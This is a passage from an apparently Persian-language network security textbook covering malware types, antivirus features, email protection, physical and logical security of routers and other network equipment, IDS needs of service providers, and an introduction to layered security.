مـي    file infectingو   boot sectorرايج ترين انواع اين ويروس ها تركيبي از ويـروس هـاي   

  باشد. تركيب انواع ديگر ويروس ها هم امكان پذير است.

  مختل كننده امنيتساير برنامه هاي  6-3
، كرم ها و بمب هاي منطقي را در دسـته ويـروس هـا قـرار     )Trojan(برخي از محققين اسب هاي تروا

نمي دهند ولي واقعيت اين است كه اين برنامه ها هم بسيار خطرناك بوده و مي توانند خساراتي جدي بـه  

  سيستم هاي كامپيوتري وارد نمايند.

كنند كه كاري خاص را انجام مي دهند ولي در عمل براي هدف تظاهر مي  اسب هاي تروا 6-3-1

ديگري ساخته شده اند، به عنوان مثال برنامه اي كه وانمود مي كند كه يك بازي است ولي در واقع اجازه 

  دسترسي از راه دور يك كاربر به كامپيوتر را فراهم مي آورد. 

تـوان تكثيـر كـردن خـود را دارنـد، ولـي        برنامه هايي هستند كه مشـابه ويـروس هـا    كرم ها 6-3-2 

برعكس آنها براي گسترش خود نياز به برنامه هايي ديگر ندارند تا آنها را آلوده كرده و تحت عنوان فايل 

هاي آلوده اقدام به انتقال و آلوده كردن دستگاه هاي ديگر نمايند. كرم ها معمـولا از نقـاط آسـيب پـذير     

  مي نمايند.سريع و وسيع خود استفاده  براي توزيع  e-mailبرنامه هاي 

برنامه هايي هستند كه در زمان هـايي از قبـل تعيـين شـده؛ مـثلا يـك روز        بمب هاي منطقي 6-3-3 
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خاص؛ اعمالي غير منتظره انجام مي دهند. اين برنامه ها فايل هاي ديگر را آلوده نكرده و خود را گسترش 

  نمي دهند.

ي مخرب، برنامه هاي قوي ضد ويروس مي توانند نسخه هاي مختلف آنها علي رغم تنوع انواع برنامه ها

را شناسايي و از بين ببرند. در ادامه اين متن براي سادگي به همه انواع اين برنامه ها عنوان عمومي ويروس 

  اطلاق مي شود. 

 افزارهاي ضدويروس هاي نرم قابليت 6-4

هاي مختل كننده  ها و ساير برنامه عرفي انواع ويروسهاي قبلي از اين مجموعه مقالات ضمن م در قسمت

هـاي   هـاي برنامـه   هـاي ضـدويروس و تعـدادي از قابليـت     ها توسط برنامه امنيت، چگونگي كشف ويروس

  گيرد. افزارهاي ضدويروس مورد بررسي قرار مي مهم نرم  چند قابليت بخشضدويروس بيان شد. در اين 

  سهاي ضد ويرو تفاوت بين نسخه 6-4-1
سـازي   هـا و پـاك   دهند كه همـان اسـكن فايـل    افزارهاي ضد ويروس عمل واحدي را انجام مي همه نرم

هـا بهـره    باشد. بعضي از آنها حتي از موتورهـاي اسـكن يكسـاني بـراي شناسـايي ويـروس       موارد آلوده مي

گيرنــد. تفــاوت اصــلي بــين ايــن محصــولات در كيفيــت واســط كــاربر، ســرعت و دقــت محصــول و  مــي

هـاي   هاي خودكـار زمـان بنـدي شـده، اسـكن      ، بروز رسانيe-mailهاي  هاي خاص (مانند اسكنر ليتقاب

  باشد.  مي  ابتكاري و ...)

اي كه از اين طريق  در حال حاضر با توجه به اتصال اكثر كامپيوترها به شبكه اينترنت و خطرات گسترده

يابنـد اهميـت    ايي كه از طريق اينترنت انتقـال مـي  ه كند تامين امنيت در برابر ويروس كاربران را تهديد مي

افزارهاي ضدويروس  داري نرم تواند به عنوان ابزاري براي بروز نگه زيادي دارد. از سوي ديگر اينترنت مي

  مورد استفاده قرار گيرد.
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   e-mailحافظت   6-4-2
فراد به محصولات ضد ويروسي شوند نياز همه ا توزيع مي e-mailهايي كه از طريق  افزايش تعداد كرم

توانند امنيـت مـورد    افزاري نمي كه امنيت آنها را تامين كنند افزايش داده است. تعدادي از محصولات نرم

 سـازي نـرم   پارچـه   يـك  زيـاد كـاربران بـه     تمايـل   ديگر  نياز را براي همه كاربران تامين كنند. از سوي 

افزارهـاي اداري   هـاي امنيتـي موجـود در نـرم     عث شده، شـكاف هاي اداري با با برنامه  e-mail افزارهاي 

به سـادگي مـورد اسـتفاده قـرار گيـرد. در چنـين        W32.Klezو  ILOVEYOUهايي مانند  توسط كرم

هاي امنيتي سيستم قديمي باشند(كه اين مساله بسيار رايج است)، تنها مشاهده يك نامـه   مواردي اگر وصله

  تگاه نفوذ كند.به دس  آلوده كافي است كه كرم

ها را  پيام e-mailهاي  گردد. برنامه ها برمي به نحوه كار برنامه e-mailمشكل اصلي در رابطه با امنيت 

هـاي ضـد    نماينـد. از سـوي ديگـر برنامـه     هاي خاص خود ذخيره مي داده دريافت كرده و آنها را در پايگاه

و ...  Fat16 ،Fat32 ،NTFSخته شده مانند هاي شنا سيستم هايي را كه در قالب فايل ويروس فقط فايل

بـراي ذخيـره    e-mailاي را كـه برنامـه    توانند سـاختمان داده  كنند، بنابراين لزوما نمي هستند را اسكن مي

هاي ضميمه آن را اسـكن كنـد. ايـن     هاي ذخيره شده و فايل كند شناخته و پيام سازي اطلاعات استفاده مي

هاي جديـد بـر روي آن نصـب     آلوده بر روي دستگاهي كه وصله e-mailبدان معناست كه هرگاه يك 

شود بلكه پاك كردن دسـتگاه بـه سـادگي امكـان پـذير نيسـت و        نشده بار شود، نه تنها كامپيوتر آلوده مي

كـه كامپيوترهـاي    W32.Klezها از دست بروند. به عنـوان مثـال كـرم     e-mailحتي ممكن است همه 

دهـد و در نتيجـه برنامـه     هاي ضد ويروس را مورد هجوم قرار مـي  ام اول برنامهزيادي را آلوده نمود، در گ

  هاي پستي كاربران نيست. آلوده شده قادر به پاك كردن محتويات صندوق

مرورگـر وب و    هـاي جديـد    وصـله   بايـد بـا دقـت همـه      حل براي اين مشكل وجود دارد، يـا   دو راه

هاي ضدويروسي اسـتفاده كـرد    دستگاه نصب نمود و يا از برنامه را گرفته و بر روي e-mail هاي برنامه 

  دارند. مي متصل شده و آنها را به روز نگه mailكه به مرورگر و برنامه 
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در  e-mailكاملا حافظت شده باشد، بايد عمليـات اسـكن قبـل از اينكـه      e-mailبراي اينكه سيستم 

داده را بعـد از گـرفتن از    e-mail بـه عبـارت ديگـر برنامـه      جايي از حافظه ذخيره شـود صـورت گيـرد.   

  نمايد تا عمليات لازم بر روي آن صورت گيرد. اينترنت به اسكنر ضدويروس ارسال مي

هايي وجـود دارنـد كـه بـه      شدن را ندارند. اما اسكنر  قابليت اين نوع مجتمع e-mailافزارهاي  همه نرم

، Microsoft Outlook Express ،Microsoft Outlookهــاي  خــوبي بــا بعضــي از نســخه

Netscape Messenger ،Netscape ،Eudora Pro  وBecky Internet Mail  مجتمع

را مطـرح   MAPIو  POP3هـاي   گيرنده ها ادعاي مجتمع شدن با همه سرويس شوند. بعضي از اسكنر مي

  كنند. مي

  هاي ضدويروس افزار بروز رساني نرم 6-5
روس و رها كردن آن براي داشتن دستگاهي بدون ويروس و مقاوم در برابـر حمـلات   نصب برنامه ضد وي

هـاي جديـد انتشـار سـريع      شود و در سال هاي جديدي عرضه مي ها كافي نيست. هر روزه ويروس ويروس

ها از طريق اينترنت نرخ ايجاد ويروس را افزايش داده است. اين مساله در تركيـب بـا افـزايش دانـش      كرم

هـاي جديـد را    هـاي عامـل سـرعت ايجـاد ويـروس      افزارها و سيسـتم  در مورد مشكلات امنيتي نرمعمومي 

افزايش داده است. امروزه براي ايجاد يك ويروس نياز به مهارت و تخصص زياد نيست. توليـد كننـدگان   

ابراين هاي اندك نوشـته و در دنيـاي مجـازي انتشـار دهنـد. بن ـ      هايي با تفاوت ها مي توانند ويروس ويروس
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اي  العـاده  داشـتن آن هـم از اهميـت خـارق     افزار ضدويروس دقت در بروز نگـه  علاوه بر خريد و نصب نرم

  برخوردار است.

رساني خودكار را به محصولات   افزار براي مقابله با اين مشكل قابليت بروز هاي توليد كننده نرم شركت

تواننـد از بـروز    افزار مي اب گزينه مناسب از منوهاي نرماند. بنابراين كاربران تنها با انتخ جديد خود افزوده

  افزار خود مطمئن باشند. بودن نرم

 امنيت تجهيزات شبكه -7

براي تامين امنيت بر روي يك شبكه، يكي از بحراني ترين و خطيرترين مراحل، تامين امنيت دسترسي و    

  ا ديوارهاي آتش. كنترل تجهيزات شبكه است. تجهيزاتي همچون مسيرياب، سوئيچ ي

  يابد : اي مي اهميت امنيت تجهيزات به دو علت اهميت ويژه    

بـا دسـتيابي بـه      دهـد كـه   عدم وجود امنيت تجهيزات در شبكه بـه نفـوذگران بـه شـبكه اجـازه مـي       –الف 

. از افزارها عمل كنند، داشته باشند اي كه تمايل دارند آن سخت تجهيزات امكان پيكربندي آنها را به گونه

پذير  اين طريق هرگونه نفوذ و سرقت اطلاعات و يا هر نوع صدمه ديگري به شبكه، توسط نفوذگر، امكان

  خواهد شد.

تـأمين امنيـت تجهـزات بـر روي      DoS (Denial of Service)براي جلـوگيري از خطرهـاي    –ب 

كه از كار بياندازند كه از هايي را در شب توانند سرويس ها نفوذگران مي شبكه الزامي است. توسط اين حمله

فـراهم   AAAاين طريق در برخي موارد امكان دسترسي به اطلاعات بـا دور زدن هـر يـك از فراينـدهاي     

  شود. مي

گيـرد. عنـاوين برخـي از ايـن      در اين بخش اصول اوليه امنيت تجهيزات مورد بررسـي اجمـالي قـرار مـي     

  موضوعات به شرح زير هستند :

  و تأثير آن بر امنيت كلي شبكه امنيت فيزيكي       -

  امنيت تجهيزات شبكه در سطوح منطقي       -

 افزارها ها و سخت بالابردن امنيت تجهيزات توسط افزونگي در سرويس       -

  گيرند :  موضوعات فوق در قالب دو جنبه اصلي امنيت تجهيزات مورد بررسي قرار مي    
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  امنيت فيزيكي       -

 نطقيامنيت م       -

  امنيت فيزيكي   1 -7

هاي امـن و بـه دور    گيرد كه استقرار تجهيزات در مكان وسيعي از تدابير را در بر مي  امنيت فيزيكي بازه    

اند. با استفاده از افزونگي، اطمينان  از خطر حملات نفوذگران و استفاده از افزونگي در سيستم از آن جمله

د و رخداد نقص در يكي از تجهيزات (كه توسط عملكرد مشابه از صحت عملكرد سيستم در صورت ايجا

  آيد. شود) بدست مي دهنده مشابه جايگزين مي افزار و يا سرويس سخت

هايي كه از اين طريق تجهزات شبكه را تهديـد   ابتدا بايد به خطر  در بررسي امنيت فيزيكي و اعمال آن،    

هـا و   حـل  تـوان بـه راه   هـا مـي   تاً كامل اين خطرهـا و حملـه  كنند نگاهي داشته باشيم. پس از شناخت نسب مي

  گونه حملات پرداخت. هاي دفاعي در برار اين ترفند

  افزونگي در محل استقرار شبكه 7-2

مشـابه    هـاي كـامپيوتري، ايجـاد سيسـتمي كامـل،      كارها در قالب ايجـاد افزونگـي در شـبكه    يكي از راه    

ي اوليـه، چـه از بعـد     ي، كاملاً مشابه شبكه ي ثانويه اين راستا، شبكه ي در حال كار است. در ي اوليه شبكه

اي نه چنـدان   ي اول فاصله تواند از نظر جغرافيايي با شبكه در محلي كه مي  تجهيزات و چه از بعد كاركرد،

رخـداد  شود. با استفاده از اين دو سيستم مشابه، علاوه بر آنكه در صـورت   كوتاه نيز داشته باشد برقرار مي

ي  توان از شبكه كند (مانند زلزله) مي وقايعي كه كاركرد هريك از اين دو شبكه را به طور كامل مختل مي

هاي روزمره نيز در صورت ايجاد ترافيك سنگين بر  ديگر به طور كاملاً جايگزين استفاده كرد، در استفاده

شود تا زمـان پاسـخ بـه حـداقل      يي مشابه پخش م روي شبكه، حجم ترافيك و پردازش بر روي دو شبكه

  ممكن برسد.

هـاي   هاي معمول كه حجم جنداني ندارند، بـه دليـل هزينـه    با وجود آنكه استفاده از اين روش در شبكه    

هاي با حجم بالا كه قابليـت اطمينـان و    رسد، ولي در شبكه پذير و اقتصادي به نظر نمي تحميلي بالا، امكان

  آيند از الزامات است.  يه به حساب ميامنيت در آنها از اصول اول
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  توپولوژي شبكه  7-3

تواند از  يكي از عوامل اصلي است كه در زمان رخداد حملات فيزيكي مي  طراحي توپولوژيكي شبكه،    

  خطاي كلي شبكه جلوگيري كند. 

  گيرند : سه طراحي كه معمول هستند مورد بررسي قرار مي  در اين مقوله،    

ي سري : در اين طراحي با قطع خط تماس ميان دو نقطه در شبكه، كليـه سيسـتم بـه دو تكـه     طراح –الف 

منفصل تبديل شده و امكان سرويس دهي از هريك از اين دو ناحيه به ناحيه ديگـر امكـان پـذير نخواهـد     

  بود.

ز خادم اي : در اين طراحي، در صورت رخداد حمله فيزيكي و قطع اتصال يك نقطه ا طراحي ستاره –ب 

گردد. با اين وجود از آنجاييكه خادم اصـلي در ايـن    دهي به ديگر نقاط دچار اختلال نمي اصلي، سرويس

تواند بر اثر حمله فيزيكي  كه مي  ميان نقش محوري دارد، در صورت اختلال در كارايي اين نقطه مركزي،

نظر گرفتن افزونگـي بـراي خـادم    شود، هرچند كه با در به آن رخ دهد، ارتباط كل شبكه دچار اختلال مي

  شود. اصلي از احتمال چنين حالتي كاسته مي

طراحي مش : در اين طراحي كه تمامي نقاط ارتباطي با ديگر نقاط در ارتباط هستند، هرگونه اختلال  –ج 

بنـدي   بـا وجـود آنكـه زمـان      فيزيكي در سطوح دسترسي منجر بـه اخـتلال عملكـرد شـبكه نخواهـد شـد،      

ســازي چنــين روش بـا وجــود امنيــت بـالا، بــه دليــل    را دچــار اخـتلال خواهــد كــرد. پيـاده  دهــي  سـرويس 

  گيرد. تنها در موارد خاص و بحراني انجام مي  هاي اقتصادي، محدوديت

  هاي امن براي تجهيزات محل  7-4

  گيرد : در تعيين يك محل امن براي تجهيزات دو نكته مورد توجه قرار مي    

اي كـه هرگونـه    ي كه به اندازه كافي از ديگر نقاط مجموعه متمايز باشـد، بـه گونـه   يافتن مكان       -

  نفوذ در محل آشكار باشد.

اي بزرگتر قرار گرفتـه اسـت تـا تـدابير      در نظر داشتن محلي كه در داخل ساختمان يا مجموعه       -

سـازي محـل اختيـار     ي بزرگتر را بتوان براي امن امنيتي بكارگرفته شده براي امن سازي مجموعه

  شده نيز به كار گرفت. 
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با اين وجود، در انتخاب محل، ميان محلي كه كاملاً جدا باشد (كه نسبتاً پرهزينه خواهد بود) و مكاني كه 

كه باعـث ايجـاد خطرهـاي     هاي بلااستفاده سود برده است ( درون محلي نسبتاً عمومي قرار دارد و از مكان

  اعتدالي منطقي را در نظر داشت. توان مي  گردد)، امنيتي مي

  توان اصول زير را براي تضمين نسبي امنيت فيزيكي تجهيزات در نظر داشت : در مجموع مي    

هـاي دسترسـي    هـا و مكـانيزم   محدود سازي دسترسي بـه تجهيـزات شـبكه بـا اسـتفاده از قفـل             -

  هاي انجام شده. رسيها و كدهاي كاربري دست ها، مكان ديجيتالي به همراه ثبت زمان

هــاي  هـاي اسـتقرار تجهيـزات شـبكه و اتـاق      هـاي پـايش در ورودي محـل    اسـتفاده از دوربـين         -

  هاي داده. اتصالات و مراكز پايگاه

 هايي براي اطمينان از رعايت اصول امنيتي. اعمال ترفند       -

  انتخاب لايه كانال ارتباطي امن 7-4-1

هاي كامپيوتري، آنگونه كه در قديم شـايع بـوده، گذشـته     ي فيزيكي به شبكه لهبا وجود آنكه زمان حم    

هــا و  اسـت و در حـال حاضــر تـلاش اغلـب نفــوذگران بـر روي بـه دســت گـرفتن كنتـرل يكــي از خـادم         

ي فيزيكـي كماكـان    اي از حملـه  ولـي گونـه    هاي مورد اطمينان شبكه معطوف شـده اسـت،   دهنده سرويس

  ت. داراي خطري بحراني اس

اكنـون نيـز از    هـاي تابيـده، هـم    و چـه در زوج  Coaxچه در انـواع    هاي مسي، عمل شنود بر روي سيم    

هاي ديگـر بـراي    توان اطلاعات بدست آمده از تلاش آيند. با استفاده از شنود مي هاي نفوذ به شمار مي راه

اي حملـه رسـيد. هرچنـد كـه     بنـدي مناسـبي بـر    هاي كامپيوتري را گسترش داد و بـه جمـع   نفوذ در سيستم

اي مورد محافظت قرار داد تا كمترين احتمال براي شنود و يـا حتـي تخريـب     ها را نيز به گونه توان سيم مي

ي فيزيكـي، اسـتفاده از    فيزيكي وجود داشته باشد، ولي در حال حاضر، امن تـرين روش ارتبـاطي در لايـه   

هـاي الكتريكـي، هيچگونـه تشعشـعي از نـوع       الفيبرهاي نوري اسـت. در ايـن روش بـه دليـل نبـود سـيگن      

ترين حد خود نسبت به  هاي معمول شنود به پايين الكترومغناطيسي وجود ندارد، لذا امكان استفاده از روش

  شود. استفاده از سيم در ارتباطات مي
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  منابع تغذيه 7-4-2

ي شـبكه هسـتند و جريـان آنهـا     ي خون در رگهـاي ارتبـاط   هاي شناور در شبكه به منزله از آنجاكه داده    

داشتن نقاط شبكه موجب برقراري اين جريان هستند، غير ممكـن   بدون وجود منابع تغذيه، كه با فعال نگاه

كننـد. در   است، لذا چگونگي چينش و نوع منابع تغذيه و قدرت آنها نقش به سزايي در اين ميان بازي مي

  هميت برخوردار است :اين مقوله توجه به دو نكته زير از بالاترين ا

. اين طراحـي بايـد    طراحي صحيح منابع تغذيه در شبكه بر اساس محل استقرار تجهيزات شبكه       -

ي  اي باشد كه تمامي تجهيزات فعال شبكه، برق مورد نياز خـود را بـدون آنكـه بـه شـبكه      به گونه

تغذيه شود) وارد شود، بدست  اي (كه باعث ايجاد اختلال در عملكرد منابع اندازه تامين فشار بيش

  آورند.

اي كه تعداد و يا نيروي پشتيباني آنها به نحـوي باشـد    وجود منبع يا منابع تغذيه پشتيبان به گونه       -

كه نه تنها براي تغذيه كل شبكه در مواقع نياز به منابع تغذيه پشـتيبان كفايـت كنـد، بلكـه امكـان      

ي از تجهيزات بحراني درون شبكه را به صورت منفرد فراهم تامين افزونگي مورد نياز براي تعداد

  كند.

  عوامل محيطي 7-4-3

يكي از نكات بسيار مهم در امن سازي فيزيكي تجهيزات و منابع شبكه، امنيت در برار عوامـل محيطـي       

كـرد  است. نفوذگران در برخي از موارد با تاثيرگذاري بر روي اين عوامـل، باعـث ايجـاد اخـتلال در عمل    

اي بايـد در نظـر گرفـت     شوند. از مهمترين عواملي در هنگـام بررسـي امنيتـي يـك شـبكه رايانـه       شبكه مي

  توان به دو عامل زير اشاره كرد : مي

  احتمال حريق (كه عموماً غير طبيعي است و منشĤ انساني دارد)       -

 زلزله، طوفان و ديگر بلاياي طبيعي       -

تـوان تـا حـدود زيـادي محـدود       ل رخداد برخي از اين عوامل، مانند حريق، را مـي با وجود آنكه احتما    

با هدف جلوگيري در اختلال كلـي در    نمود، ولي تنها راه حل عملي و قطعي براي مقابله با چنين وقايعي،



 

 

٤٣

٤٣

عملكرد شبكه، وجود يك سيستم كامل پشتيبان براي كل شـبكه اسـت. تنهـا بـا اسـتفاده از چنـين سيسـتم        

  توان از عدم اختلال در شبكه در صورت بروز چنين وقعايعي اطمينان حاصل كرد. يباني است كه ميپشت

 امنيت منطقي 7-5

افـزاري   هايي براي پايين آوردن خطرات حملات منطقـي و نـرم   امنيت منطقي به معناي استفاده از روش    

هاي شبكه بخش مهمي از اين گونـه   ها و سوئيچ بر ضد تجهيزات شبكه است. براي مثال حمله به مسيرياب

دهند. در اين بخش به عوامل و مـواردي كـه در اينگونـه حمـلات و ضـد حمـلات         حملات را تشكيل مي

  پردازيم. گيرند مي مورد نظر قرار مي

  ها امنيت مسيرياب 7-5-1

توان به  ، را ميها ها و ديگر تجهيزات فعال شبكه، مانند سوئيچ حملات ضد امنيتي منطقي براي مسيرياب    

  ي اصلي تقسيم نمود :  سه دسته

  حمله براي غيرفعال سازي كامل        -

  حمله به قصد دستيابي به سطح كنترل        -

 دهي حمله براي ايجاد نقص در سرويس       -

تنهـايي  شوند مستقيماً به امنيـت ايـن عناصـر بـه      ها و نكاتي كه در اين زمينه ذكر مي طبيعي است كه راه    

لـذا تـأمين امنيـت      مربوط بوده و از امنيت ديگر مسيرهاي ولـو مـرتبط بـا ايـن تجهيـزات منفـك هسـتند.       

ي آنرا  تجهيزات فعال شبكه به معناي تĤمين قطعي امنيت كلي شبكه نيست، هرچند كه عملاً مهمترين جنبه

 دهد. تشكيل مي

  مديريت پيكربندي 7-5-2

هـا مخـتص پيكربنـدي     نت تجهيزات، نگاهداري نسـخ پشـتيبان از پرونـده   يكي از مهمترين نكات در امي    

توان در فواصـل   مي  شوند، هاي گوناگون اين تجهيزات نگاهداري مي ها كه در حافظه است. از اين پرونده

  يابند، نسخه پشتيبان تهيه كرد. زماني مرتب يا تصادفي، و يا زماني كه پيكربندي تجهيزات تغيير مي

منطبق با آخرين تغييرات اعمال شده در تجهيزات، در هنگام رخـداد اخـتلال در     د نسخ پشتيبان،با وجو    

تـرين زمـان ممكـن     تواند منجر به ايجـاد اخـتلال در كـل شـبكه شـود، در كوتـاه       كارايي تجهزات، كه مي



 

 

٤٤

٤٤

اخـتلال   نقص پـيش از  توان با جايگزيني آخرين پيكربندي، وضعيت فعال شبكه را به آخرين حالت بي مي

افزار، بايد پيكربنـدي تمـامي    بازگرداند. طبيعي است كه در صورت بروز حملات عليه بيش از يك سخت

  تجهيزات تغييريافته را بازيابي نمود.

افزارهاي خاصي براي هر دسته از تجهيزات مورد استفاده وجود دارند كه قابليت تهيه نسـخ پشـتيبان    نرم    

افزارها احتمال حملاتي كه به سبب تـĤخير در   باشند. با استفاده از اين نرم ارا ميهاي زماني متغير د را فاصله

  رسد. آيد به كمترين حد ممكن مي ايجاد پشتيبان بر اثر تعلل عوامل انساني پديد مي

  كنترل دسترسي به تجهيزات 7-5-3

  دو راه اصلي براي كنترل تجهزات فعال وجود دارد :    

  دوركنترل از راه        -

  كنترل از طريق درگاه كنسول       -

هـايي   توان با اعمال محدوديت در امكان پيكربندي و دسترسي به تجهيـزات از آدرس  در روش اول مي    

  هاي خاص، احتمال حملات را پايين آورد. خاص يا استاندارها و پروتكل

درگـاهي نيـاز بـه دسترسـي فيزكـي       رسد استفاده از چنين در مورد روش دوم، با وجود آنكه به نظر مي    

مستقيم به تجهيزات دارد، ولي دو روش معمول براي دسترسي به تجهيزات فعـال بـدون داشـتن دسترسـي     

ها در روش اول عمـلاً   مستقيم وجود دارد. لذا در صورت عدم كنترل اين نوع دسترسي، ايجاد محدوديت

  كند. امنيت تجهيزات را تĤمين نمي

يت در روش دوم بايد از عدم اتصال مجازي درگاه كنسول به هريك از تجهيزات داخلي براي ايجاد امن    

  دور دارند، اطمينان حاصل نمود.  مسيرياب، كه امكان دسترسي از راه

  امن سازي دسترسي 7-5-4

هـاي معمـول    ، يكي ديگـر از روش Authenticationعلاوه بر پيكربندي تجهيزات براي استفاده از     

دسترسي، استفاده از كانال رمز شده در حين ارتباط است. يكـي از ابـزار معمـول در ايـن روش      سازي امن

SSH(Secur Shell)  .استSSH    ارتباطات فعال را رمز كرده و احتمال شنود و تغيير در ارتبـاط كـه

  رساند.  هاي حمله هستند را به حداقل مي ترين روش از معمول
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اشـاره نمـود. ايـن     IPsecمبتنـي بـر    VPNهاي  وان به استفاده از كانالت هاي معمول مي از ديگر روش    

اي كـه اغلـب    روشـي بـا قابليـت اطمينـان بـالاتر اسـت، بـه گونـه         SSHروش نسبت بـه روش اسـتفاده از   

  دانند. اين روش را مرجح مي  ها، توليدكنندگان تجهيزات فعال شبكه، خصوصاً توليد كنندگان مسيرياب

  هاي عبورمديريت رمز 7-5-5

است. هرچند كـه در   Authenticationترين محل براي ذخيره رمزهاي عبور بر روي خادم  مناسب    

داري شـوند. در ايـن    افـزار نگـاه   بسياري از موارد لازم است كه بسياري از اين رموز بر روي خـود سـخت  

سـيرياب يـا ديگـر    ترين نكته به ياد داشـتن فعـال كـردن سيسـتم رمزنگـاري رمـوز بـر روي م        صورت مهم

  افزارهاي مشابه است. سخت

 ملزومات و مشكلات امنيتي ارائه دهندگان خدمات 7-6

هـاي   آيـد، مقصـود شـبكه    زماني كه سخن از ارائه دهندگان خدمات و ملزومات امنيتي آنها به ميان مـي     

ديگـر ايـن    دهنـد. بـه عبـارت    اي كـوچكتر خـدماتي ارائـه مـي     هـاي رايانـه   بزرگي است كه خود به شبكه

دهنـد.   ي جهاني اينترنت كنوني را شكل مي هاي بزرگ هستند كه با پيوستن به يكديگر، عملاً شبكه شبكه

شود، ولي با توجه به حساسيت انتقـال   هاي كوچكتر رعايت مي با وجود آنكه غالب اصول امنيتي در شبكه

  مطرح هستند. ها داده در اين اندازه، ملزومات امنيتي خاصي براي اين قبيل شبكه

  هاي امنيتي قابليت 7-6-1

  توان، تنها با ذكر عناوين، به شرح زير فهرست نمود : ملزومات مذكور را مي    

  قابليت بازداري از حمله و اعمال تدابير صحيح براي دفع حملات – 1

 هـايي كـه بـه قصـد حملـه بـر روي شـبكه        وجود امكان بررسي ترافيك شبكه، با هدف تشخيص بسته – 2

هاي بزرگتر نقطه تلاقي مسيرهاي متعدد ترافيك بر روي شبكه هسـتند،   شوند. از آنجاييكه شبكه ارسال مي

  توان به بالاترين بخت براي تشخيص حملات دست يافت. بر روي آنها، مي IDSهاي  با استفاده از سيستم

هـاي   و استفاده از سيسـتم هايي از قبيل سرقت آدرس  قابليت تشخيص منبع حملات. با وجود آنكه راه – 3

ديگر از راه دور، براي حمله كننده و نفـوذگر، وجـود دارنـد كـه تشـخيص منبـع اصـلي حملـه را دشـوار          

ي  هاي رديابي، كمك شاياني براي دست يافتن و يا محدود سـاختن بـازه   نمايند، ولي استفاده از سيستم مي
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 DoSمكانيزم زماني است كه حملاتـي از نـوع   نمايد. بيشترين تĤثير اين  مشكوك به وجود منبع اصلي مي

  گردد. از سوي نفوذگران انجام مي

  مشكلات اعمال ملزومات امنيتي 7-6-2

سـازي و اعمـال آنهـا     هايي كه بطور اجمالي مورد اشاره قرار گرفتنـد، پيـاده   با وجود لزوم وجود قابليت    

  همواره آسان نيست.

است. خطر يا ترافيكي كه براي يك دسته از كـاربران   IDSسازي  پياده  ترين مشكلات، يكي از معمول    

اي ديگر به عنوان جريان عادي داده اسـت. لـذا تشـخيص ايـن دو      شود، براي دسته به عنوان حمله تعبير مي

افـزوده و در اولـين گـام از كـارايي و سـرعت پـردازش ترافيـك و         IDSجريان از يكديگر بر پيچيدگي 

تـوان متوسـل بـه تجهيـزات      هد كاست. براي جبران اين كـاهش سـرعت تنهـا مـي    هاي اطلاعاتي خوا بسته

  تر شد. هاي امنيتي پيچيده تر و اعمال سياست گران

هـاي داده و افـزايش كـاربران، و مهـاجرت      با هرچه بيشتر حساس شدن ترافيك و جريـان   با اين وجود،    

هاي بزرگتر ارائه دهنده خـدمات متصـل    هاي كوچكي كه خود به شبكه كاربردهاي متداول بر روي شبكه

  توان داشت ها مي هستند، تضمين امنيت، از اولين انتظاراتي است كه از اينگونه شبكه

   رويكردي عملي به امنيت شبكه لايه بندي شده  -8
امروزه امنيت شبكه يك مسأله مهم براي ادارات و شركتهاي دولتـي و سـازمان هـاي كوچـك و بـزرگ      

پيشرفته از سوي تروريست هاي فضاي سـايبر، كارمنـدان ناراضـي و هكرهـا رويكـردي       است. تهديدهاي

امنيـت بـه شـكل پيشـرفته يـك انتخـاب        ،سيستماتيك را براي امنيت شبكه مي طلبد. در بسياري از صـنايع 

  .نيست بلكه يك ضرورت است

ايـن    فـي مـي گـردد.   در اين سلسله مقالات رويكردي لايه بندي شده براي امن سازي شبكه بـه شـما معر  

رويكرد هم يك استراتژي تكنيكي است كه ابزار و امكان مناسـبي را در سـطوح مختلـف در زيرسـاختار     

شبكه شما قرار مي دهد و هم يك استراتژي سازماني است كه مشاركت همه از هيـأت مـديره تـا قسـمت     

  فروش را مي طلبد. 
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و سيستمهاي امنيتي و روال ها در پنج لايـه مختلـف   رويكرد امنيتي لايه بندي شده روي نگهداري ابزارها 

  در محيط فناوري اطلاعات متمركز مي گردد.

  پيرامون -1

  شبكه -2

  ميزبان -3

  كاربردي برنامه  -4

  ديتا -5

در اين سلسله مقالات هريك از اين سطوح تعريف مي شوند و يك ديد كلي از ابزارها و سيسـتمهاي امنيتـي   

ل مي كنند، ارائه مي شود. هدف در اينجا ايجاد دركي در سطح پايـه از امنيـت   گوناگون كه روي هريك عم

شبكه و پيشنهاد يك رويكرد عملي مناسب براي محافظت از دارايي هاي ديجيتال است. مخاطبان اين سلسـله  

  مقالات متخصصان فناوري اطلاعات، مديران تجاري و تصميم گيران سطح بالا هستند.

ختصاصي به منابع مالي نامحدود و عجيب و غريب نياز ندارد. با دركي كلـي از  محافظت از اطلاعات ا

خلق يك طرح امنيتي استراتژيكي و تاكتيكي مي تواند تمريني آسـان باشـد. بعـلاوه، بـا رويكـرد        مسأله،

 عملي كه در اينجا معرفي مي شود، مي توانيد بدون هزينه كردن بودجه هاي كلان، موانع موثري بر سر راه

  اخلال گران امنيتي ايجاد كنيد. 

  افزودن به ضريب عملكرد هكرها8-1
) استفاده مـي كننـد كـه    work factorمتخصصان امنيت شبكه از اصطلاحي با عنوان ضريب عملكرد (

مفهومي مهم در پياده سازي امنيت لايه بندي است. ضريب عملكرد بعنوان ميزان تلاش مورد نياز توسط يـك  

حت تأثير قراردادن يك يا بيشتر از سيستمها و ابزار امنيتي تعريف مي شود كـه باعـث رخنـه    نفوذگر بمنظور ت

كردن در شبكه مي شود. يك شبكه با ضريب عملكرد بالا به سختي مورد دستبرد قرار مـي گيـرد در حاليكـه    

ند كـه شـبكه   يك شبكه با ضريب عملكرد پايين مي تواند نسبتاً به راحتي مختل شود. اگر هكرها تشخيص ده

مـي  دارد، كه فايده رويكرد لايه بندي شده نيز هست، احتمالاً شـبكه شـما را رهـا     ييشما ضريب عملكرد بالا

  كنند و به سراغ شبكه هايي با امنيت پايين تر مي روند و اين دقيقاً همان چيزيست كه شما مي خواهيد.
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ملي خـوبي بـراي امـن سـازي دارايـي      تكنولوژي هاي بحث شده در اين سري مقالات مجموعاً رويكرد ع

هاي ديجيتالي شما را به نمايش مي گذارند. در يك دنياي ايده آل، شما بودجه و منابع را بـراي پيـاده سـازي    

تمام ابزار و سيستم هايي كه بحث مي كنيم خواهيد داشت. اما متأسفانه در چنين دنيـايي زنـدگي نمـي كنـيم.     

چگونگي استفاده از آن، طبيعت داده هاي ذخيره شده، كساني  –يابي كنيد ارزرا بدين ترتيب، بايد شبكه تان 

